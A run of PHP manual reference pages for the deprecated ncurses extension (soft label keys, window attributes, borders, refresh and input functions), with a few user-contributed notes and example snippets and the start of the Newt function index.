ncurses_slk_refresh — Copies soft label keys to screen

Description

int ncurses_slk_refresh ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Copies soft label keys from virtual screen to physical screen.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_noutrefresh
ncurses_slk_restore
Ncurses Functions


Restores soft label keys

ncurses_slk_refresh
ncurses_slk_set
Ncurses Functions
PHP Manual

ncurses_slk_restore

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_restore — Restores soft label keys

Description

int ncurses_slk_restore ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Restores the soft label keys after ncurses_slk_clear() has been performed.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_refresh
ncurses_slk_set
Ncurses Functions


Sets function key labels

ncurses_slk_restore
ncurses_slk_touch
Ncurses Functions
PHP Manual

ncurses_slk_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_set — Sets function key labels

Description

bool ncurses_slk_set ( int $labelnr , string $label , int $format )
Warning

This function is currently not documented; only its argument list is available.

Parameters

labelnr

label

format

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_restore
ncurses_slk_touch
Ncurses Functions


Forces output when ncurses_slk_noutrefresh is performed

ncurses_slk_set
ncurses_standend
Ncurses Functions
PHP Manual

ncurses_slk_touch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed

Description

int ncurses_slk_touch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Forces all the soft labels to be output the next time a ncurses_slk_noutrefresh() is performed.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_set
ncurses_standend
Ncurses Functions


Stop using 'standout' attribute

ncurses_slk_touch
ncurses_standout
Ncurses Functions
PHP Manual

ncurses_standend

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standend — Stop using 'standout' attribute

Description

int ncurses_standend ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_touch
ncurses_standout
Ncurses Functions


Start using 'standout' attribute

ncurses_standend
ncurses_start_color
Ncurses Functions
PHP Manual

ncurses_standout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standout — Start using 'standout' attribute

Description

int ncurses_standout ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_standend
ncurses_start_color
Ncurses Functions


Initializes color functionality

ncurses_standout
ncurses_termattrs
Ncurses Functions
PHP Manual

ncurses_start_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_start_color — Initializes color functionality

Description

int ncurses_start_color ( void )

Initializes color functionality in ncurses. This function must be called before any color manipulation functions are called and after ncurses_init() is called. It is good practice to call this function right after ncurses_init().

Parameters

This function has no parameters.

Return Values

Returns 0 on success, or -1 if the color table could not be allocated or ncurses was not initialized.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_can_change_color() - Checks if terminal color definitions can be changed
  • ncurses_has_colors() - Checks if terminal has color capabilities

User Contributed Notes

There are no user contributed notes for this page.
ncurses_standout
ncurses_termattrs
Ncurses Functions


Returns a logical OR of all attribute flags supported by terminal

ncurses_start_color
ncurses_termname
Ncurses Functions
PHP Manual

ncurses_termattrs

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal

Description

bool ncurses_termattrs ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_start_color
ncurses_termname
Ncurses Functions


Returns terminals (short)-name

ncurses_termattrs
ncurses_timeout
Ncurses Functions
PHP Manual

ncurses_termname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termname — Returns terminals (short)-name

Description

string ncurses_termname ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns terminals shortname.

Return Values

Returns the shortname of the terminal, truncated to 14 characters. On errors, returns NULL.

See Also

  • ncurses_longname() - Returns terminals description

User Contributed Notes

There are no user contributed notes for this page.
ncurses_termattrs
ncurses_timeout
Ncurses Functions


Set timeout for special key sequences

ncurses_termname
ncurses_top_panel
Ncurses Functions
PHP Manual

ncurses_timeout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_timeout — Set timeout for special key sequences

Description

void ncurses_timeout ( int $millisec )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

millisec

User Contributed Notes

sandwyrm 14-Nov-2010 12:03
ncurses_timeout( $value );

$value < 0 -> Block and wait for input indefinitely
$value = 0 -> Non-blocking poll for input
$value > 0 -> Block and wait for input for $value milliseconds
ncurses_termname
ncurses_top_panel
Ncurses Functions


Moves a visible panel to the top of the stack

ncurses_timeout
ncurses_typeahead
Ncurses Functions
PHP Manual

ncurses_top_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_top_panel — Moves a visible panel to the top of the stack

Description

int ncurses_top_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_timeout
ncurses_typeahead
Ncurses Functions


Specify different filedescriptor for typeahead checking

ncurses_top_panel
ncurses_ungetch
Ncurses Functions
PHP Manual

ncurses_typeahead

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_typeahead — Specify different filedescriptor for typeahead checking

Description

int ncurses_typeahead ( int $fd )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fd

User Contributed Notes

There are no user contributed notes for this page.
ncurses_top_panel
ncurses_ungetch
Ncurses Functions


Put a character back into the input stream

ncurses_typeahead
ncurses_ungetmouse
Ncurses Functions
PHP Manual

ncurses_ungetch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetch — Put a character back into the input stream

Description

int ncurses_ungetch ( int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_typeahead
ncurses_ungetmouse
Ncurses Functions


Pushes mouse event to queue

ncurses_ungetch
ncurses_update_panels
Ncurses Functions
PHP Manual

ncurses_ungetmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetmouse — Pushes mouse event to queue

Description

bool ncurses_ungetmouse ( array $mevent )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Pushes a KEY_MOUSE event onto the unput queue and associates with this event the given state sata and screen-relative character cell coordinates, specified in mevent.

Parameters

mevent

An associative array specifying the event options:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_getmouse() - Reads mouse event

User Contributed Notes

There are no user contributed notes for this page.
ncurses_ungetch
ncurses_update_panels
Ncurses Functions


Refreshes the virtual screen to reflect the relations between panels in the stack

ncurses_ungetmouse
ncurses_use_default_colors
Ncurses Functions
PHP Manual

ncurses_update_panels

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack

Description

void ncurses_update_panels ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_ungetmouse
ncurses_use_default_colors
Ncurses Functions


Assign terminal default colors to color id -1

ncurses_update_panels
ncurses_use_env
Ncurses Functions
PHP Manual

ncurses_use_default_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_default_colors — Assign terminal default colors to color id -1

Description

bool ncurses_use_default_colors ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_update_panels
ncurses_use_env
Ncurses Functions


Control use of environment information about terminal size

ncurses_use_default_colors
ncurses_use_extended_names
Ncurses Functions
PHP Manual

ncurses_use_env

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_env — Control use of environment information about terminal size

Description

void ncurses_use_env ( bool $flag )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

User Contributed Notes

There are no user contributed notes for this page.
ncurses_use_default_colors
ncurses_use_extended_names
Ncurses Functions


Control use of extended names in terminfo descriptions

ncurses_use_env
ncurses_vidattr
Ncurses Functions
PHP Manual

ncurses_use_extended_names

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_extended_names — Control use of extended names in terminfo descriptions

Description

int ncurses_use_extended_names ( bool $flag )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

User Contributed Notes

There are no user contributed notes for this page.
ncurses_use_env
ncurses_vidattr
Ncurses Functions


Display the string on the terminal in the video attribute mode

ncurses_use_extended_names
ncurses_vline
Ncurses Functions
PHP Manual

ncurses_vidattr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vidattr — Display the string on the terminal in the video attribute mode

Description

int ncurses_vidattr ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_use_extended_names
ncurses_vline
Ncurses Functions


Draw a vertical line at current position using an attributed character and max. n characters long

ncurses_vidattr
ncurses_waddch
Ncurses Functions
PHP Manual

ncurses_vline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long

Description

int ncurses_vline ( int $charattr , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

charattr

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_vidattr
ncurses_waddch
Ncurses Functions


Adds character at current position in a window and advance cursor

ncurses_vline
ncurses_waddstr
Ncurses Functions
PHP Manual

ncurses_waddch

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddch — Adds character at current position in a window and advance cursor

Description

int ncurses_waddch ( resource $window , int $ch )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

ch

User Contributed Notes

There are no user contributed notes for this page.
ncurses_vline
ncurses_waddstr
Ncurses Functions


Outputs text at current postion in window

ncurses_waddch
ncurses_wattroff
Ncurses Functions
PHP Manual

ncurses_waddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddstr — Outputs text at current postion in window

Description

int ncurses_waddstr ( resource $window , string $str [, int $n ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

str

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_waddch
ncurses_wattroff
Ncurses Functions


Turns off attributes for a window

ncurses_waddstr
ncurses_wattron
Ncurses Functions
PHP Manual

ncurses_wattroff

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattroff — Turns off attributes for a window

Description

int ncurses_wattroff ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.
ncurses_waddstr
ncurses_wattron
Ncurses Functions


Turns on attributes for a window

ncurses_wattroff
ncurses_wattrset
Ncurses Functions
PHP Manual

ncurses_wattron

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattron — Turns on attributes for a window

Description

int ncurses_wattron ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wattroff
ncurses_wattrset
Ncurses Functions


Set the attributes for a window

ncurses_wattron
ncurses_wborder
Ncurses Functions
PHP Manual

ncurses_wattrset

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattrset — Set the attributes for a window

Description

int ncurses_wattrset ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wattron
ncurses_wborder
Ncurses Functions


Draws a border around the window using attributed characters

ncurses_wattrset
ncurses_wclear
Ncurses Functions
PHP Manual

ncurses_wborder

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wborder — Draws a border around the window using attributed characters

Description

int ncurses_wborder ( resource $window , int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Draws the specified lines and corners around the passed window.

Use ncurses_border() for borders around the main window.

Parameters

Each parameter expects 0 to draw a line and 1 to skip it.

window

The window on which we operate

left

right

top

bottom

tl_corner

Top left corner

tr_corner

Top right corner

bl_corner

Bottom left corner

br_corner

Bottom right corner

See Also

  • ncurses_border() - Draw a border around the screen using attributed characters

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 10:40
Note that this function is looking for the ordinal value of a character - you must pass integers, not actual characters.

For the sake of 'ease of use', I use this in my ncurses Window class:

<?php
public function border($left = '|', $top = '-', $right = '|', $bottom = '-', $tlCorner = '+', $trCorner = '+', $brCorner = '+', $blCorner = '+')
{
    ncurses_wborder($this->window, ord($left), ord($right), ord($top), ord($bottom), ord($tlCorner), ord($trCorner), ord($blCorner), ord($brCorner));
}
?>

This allows you to do something like the following:
<?php
// Border the window with some weird stuff.
$window->border('.', '~', 'l', '$');
?>
ncurses_wattrset
ncurses_wclear
Ncurses Functions


Clears window

ncurses_wborder
ncurses_wcolor_set
Ncurses Functions
PHP Manual

ncurses_wclear

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wclear — Clears window

Description

int ncurses_wclear ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wborder
ncurses_wcolor_set
Ncurses Functions


Sets windows color pairings

ncurses_wclear
ncurses_werase
Ncurses Functions
PHP Manual

ncurses_wcolor_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wcolor_set — Sets windows color pairings

Description

int ncurses_wcolor_set ( resource $window , int $color_pair )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

color_pair

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wclear
ncurses_werase
Ncurses Functions


Erase window contents

ncurses_wcolor_set
ncurses_wgetch
Ncurses Functions
PHP Manual

ncurses_werase

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_werase — Erase window contents

Description

int ncurses_werase ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wcolor_set
ncurses_wgetch
Ncurses Functions


Reads a character from keyboard (window)

ncurses_werase
ncurses_whline
Ncurses Functions
PHP Manual

ncurses_wgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wgetch — Reads a character from keyboard (window)

Description

int ncurses_wgetch ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

johns at servangle dot net 07-Jan-2007 08:01
Something worth noting here; I noticed that with ncurses_wgetch function keys are broken into multiple codes while ncurses_getch returns only one attributed code.

For example, with ncurses_wgetch pressing an up arrow results in three codes 27 91 65 (an ascii escape sequence). The problem is subsequent calls to ncurses_wgetch are required to acquire all three codes. Unfortunately, pressing an “A” key for example would result in only a single code of 65. This makes it hard to trap for both function keys and regular keys.

However, with ncurses_getch an up arrow results in a single attributed code of 259 or the “NCURSES_KEY_UP” key constant. An “A” key is still 65.
john at bowlingball dot com 22-Feb-2006 08:19
By default ncurses_wgetch does not return keypad keys.  If you need to use function or arrow keys in a sub window, simply do this first.

ncurses_keypad($win, TRUE);
gf3 dot bm3 at gmail dot com 08-Oct-2004 04:41
Heres a function to get a string from a specific window and return it on ENTER.

// Dynamic String Input (converts INT ASCII to CHAR)
function ncurses_wgetstr($win){
    $strlen = 1;
    for ($sx=0;$sx<$strlen;$sx++){
        $strlen++;
        $ch = ncurses_wgetch($win);
        if ($ch == 13){
            return $str;
            break 2;
        }
        $str .= chr($ch);
    }
}

Example:

$ncurse = ncurses_init();
$fullscreen = ncurses_newwin (0,0,  0,0);
ncurses_border(0,0,  0,0,  0,0,  0,0);
ncurses_refresh();

while (1){
    $keyPressed = ncurses_wgetstr($fullscreen);
    ncurses_wrefresh($fullscreen);
}
ncurses_werase
ncurses_whline
Ncurses Functions


Draws a horizontal line in a window at current position using an attributed character and max. n characters long

ncurses_wgetch
ncurses_wmouse_trafo
Ncurses Functions
PHP Manual

ncurses_whline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_whline ( resource $window , int $charattr , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wgetch
ncurses_wmouse_trafo
Ncurses Functions


Transforms window/stdscr coordinates

ncurses_whline
ncurses_wmove
Ncurses Functions
PHP Manual

ncurses_wmouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmouse_trafo — Transforms window/stdscr coordinates

Description

bool ncurses_wmouse_trafo ( resource $window , int &$y , int &$x , bool $toscreen )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

x

y

toscreen

User Contributed Notes

There are no user contributed notes for this page.
ncurses_whline
ncurses_wmove
Ncurses Functions


Moves windows output position

ncurses_wmouse_trafo
ncurses_wnoutrefresh
Ncurses Functions
PHP Manual

ncurses_wmove

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmove — Moves windows output position

Description

int ncurses_wmove ( resource $window , int $y , int $x )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wmouse_trafo
ncurses_wnoutrefresh
Ncurses Functions


Copies window to virtual screen

ncurses_wmove
ncurses_wrefresh
Ncurses Functions
PHP Manual

ncurses_wnoutrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wnoutrefresh — Copies window to virtual screen

Description

int ncurses_wnoutrefresh ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wmove
ncurses_wrefresh
Ncurses Functions


Refresh window on terminal screen

ncurses_wnoutrefresh
ncurses_wstandend
Ncurses Functions
PHP Manual

ncurses_wrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wrefresh — Refresh window on terminal screen

Description

int ncurses_wrefresh ( resource $window )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

php at kormoc dot com 28-Nov-2005 09:08
Keep in mind, you need to do a ncurses_refresh before any window drawing options to display the window correctly.

for example
ncurses_wclear($window);
ncurses_wborder($window, 0, 0, 0, 0, 0, 0, 0, 0);
ncurses_wrefresh($window);

won't work correctly the first time though the loop (not sure why),

but throw on a ncruses_refresh at the top and it displays correctly
joeldegan AT yahoo.com 15-Dec-2002 12:24
Here is a functional example of drawing dynamic windows and refreshing them using ncurses_wrefresh.

This draws the main window, borders it, creates a small window borders it, creates a lower window and borders it as well. it also shows an example of doing a little backgrounding..

<?php
/*
the window will look somewhat like this...
+--------------------------------------+
|+---+                                  |
||   |                                  |
|+---+                                 |
|                                        |
|+------------------------------------+|
||                                      ||
|+------------------------------------+|
+--------------------------------------+
*/

$n=0;
$a = ncurses_init();
ncurses_border(0,0, 0,0, 0,0, 0,0);
$z = ncurses_newwin ( 15, 15, 10, 10);

if(ncurses_has_colors()){
    ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}//fi

while(1){
  for ($x=1; $x<80; $x++) {
    for ($y=1; $y<24; $y++) {
          $n++;
          ncurses_move($y,$x);
          ncurses_addch($n+64);
          ncurses_color_set($n%8);
          if($n>26)$n=0;
    }//rof
  }//rof

// border the main window
ncurses_border(0,0, 0,0, 0,0, 0,0);
ncurses_refresh();

// create a new little window and border it.
$z = ncurses_newwin ( 10, 10, 2, 2);
ncurses_wborder($z,0,0, 0,0, 0,0, 0,0); // undocumented function, border the window
ncurses_wrefresh($z); // show it

// get our maximum y and x values
$current = getmaxxy();
$lines = $current[1];
$cols = $current[0];

// create a lower window which is dynamically sized...
$c = ncurses_newwin (10, $cols-4, $lines-11, 2);
ncurses_wborder($c,0,0, 0,0, 0,0, 0,0); // border it
ncurses_wrefresh($c); // show it
ncurses_getch(); // wait for user to press key
ncurses_clear();// clear and then redraw..

}//wend

function getmaxxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

?>
ncurses_wnoutrefresh
ncurses_wstandend
Ncurses Functions


End standout mode for a window

ncurses_wrefresh
ncurses_wstandout
Ncurses Functions
PHP Manual

ncurses_wstandend

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandend — End standout mode for a window

Description

int ncurses_wstandend ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wrefresh
ncurses_wstandout
Ncurses Functions


Enter standout mode for a window

ncurses_wstandend
ncurses_wvline
Ncurses Functions
PHP Manual

ncurses_wstandout

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandout — Enter standout mode for a window

Description

int ncurses_wstandout ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wstandend
ncurses_wvline
Ncurses Functions


Draws a vertical line in a window at current position using an attributed character and max. n characters long

ncurses_wstandout
Newt
Ncurses Functions
PHP Manual

ncurses_wvline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_wvline ( resource $window , int $charattr , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wstandout
Newt
Ncurses Functions


Newt

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Newt form exit reasons
    • Newt colorsets
    • Newt argument flags
    • Newt Flags Sense
    • Newt Components Flags
    • File Descriptor Flags
    • Checkbox Tree Flags
    • Entry Flags
    • Listbox Flags
    • Textbox Flags
    • Form Flags
    • Newt Keys
    • Newt Anchors
    • Grid Flags
  • Examples
    • Basic usage
  • Newt Functions
    • newt_bell — Send a beep to the terminal
    • newt_button_bar — This function returns a grid containing the buttons created.
    • newt_button — Create a new button
    • newt_centered_window — Open a centered window of the specified size
    • newt_checkbox_get_value — Retreives value of checkox resource
    • newt_checkbox_set_flags — Configures checkbox resource
    • newt_checkbox_set_value — Sets the value of the checkbox
    • newt_checkbox_tree_add_item — Adds new item to the checkbox tree
    • newt_checkbox_tree_find_item — Finds an item in the checkbox tree
    • newt_checkbox_tree_get_current — Returns checkbox tree selected item
    • newt_checkbox_tree_get_entry_value — Description
    • newt_checkbox_tree_get_multi_selection — Description
    • newt_checkbox_tree_get_selection — Description
    • newt_checkbox_tree_multi — Description
    • newt_checkbox_tree_set_current — Description
    • newt_checkbox_tree_set_entry_value — Description
    • newt_checkbox_tree_set_entry — Description
    • newt_checkbox_tree_set_width — Description
    • newt_checkbox_tree — Description
    • newt_checkbox — Description
    • newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input
    • newt_cls — Description
    • newt_compact_button — Description
    • newt_component_add_callback — Description
    • newt_component_takes_focus — Description
    • newt_create_grid — Description
    • newt_cursor_off — Description
    • newt_cursor_on — Description
    • newt_delay — Description
    • newt_draw_form — Description
    • newt_draw_root_text — Displays the string text at the position indicated
    • newt_entry_get_value — Description
    • newt_entry_set_filter — Description
    • newt_entry_set_flags — Description
    • newt_entry_set — Description
    • newt_entry — Description
    • newt_finished — Uninitializes newt interface
    • newt_form_add_component — Adds a single component to the form
    • newt_form_add_components — Add several components to the form
    • newt_form_add_hot_key — Description
    • newt_form_destroy — Destroys a form
    • newt_form_get_current — Description
    • newt_form_run — Runs a form
    • newt_form_set_background — Description
    • newt_form_set_height — Description
    • newt_form_set_size — Description
    • newt_form_set_timer — Description
    • newt_form_set_width — Description
    • newt_form_watch_fd — Description
    • newt_form — Create a form
    • newt_get_screen_size — Fills in the passed references with the current size of the terminal
    • newt_grid_add_components_to_form — Description
    • newt_grid_basic_window — Description
    • newt_grid_free — Description
    • newt_grid_get_size — Description
    • newt_grid_h_close_stacked — Description
    • newt_grid_h_stacked — Description
    • newt_grid_place — Description
    • newt_grid_set_field — Description
    • newt_grid_simple_window — Description
    • newt_grid_v_close_stacked — Description
    • newt_grid_v_stacked — Description
    • newt_grid_wrapped_window_at — Description
    • newt_grid_wrapped_window — Description
    • newt_init — Initialize newt
    • newt_label_set_text — Description
    • newt_label — Description
    • newt_listbox_append_entry — Description
    • newt_listbox_clear_selection — Description
    • newt_listbox_clear — Description
    • newt_listbox_delete_entry — Description
    • newt_listbox_get_current — Description
    • newt_listbox_get_selection — Description
    • newt_listbox_insert_entry — Description
    • newt_listbox_item_count — Description
    • newt_listbox_select_item — Description
    • newt_listbox_set_current_by_key — Description
    • newt_listbox_set_current — Description
    • newt_listbox_set_data — Description
    • newt_listbox_set_entry — Description
    • newt_listbox_set_width — Description
    • newt_listbox — Description
    • newt_listitem_get_data — Description
    • newt_listitem_set — Description
    • newt_listitem — Description
    • newt_open_window — Open a window of the specified size and position
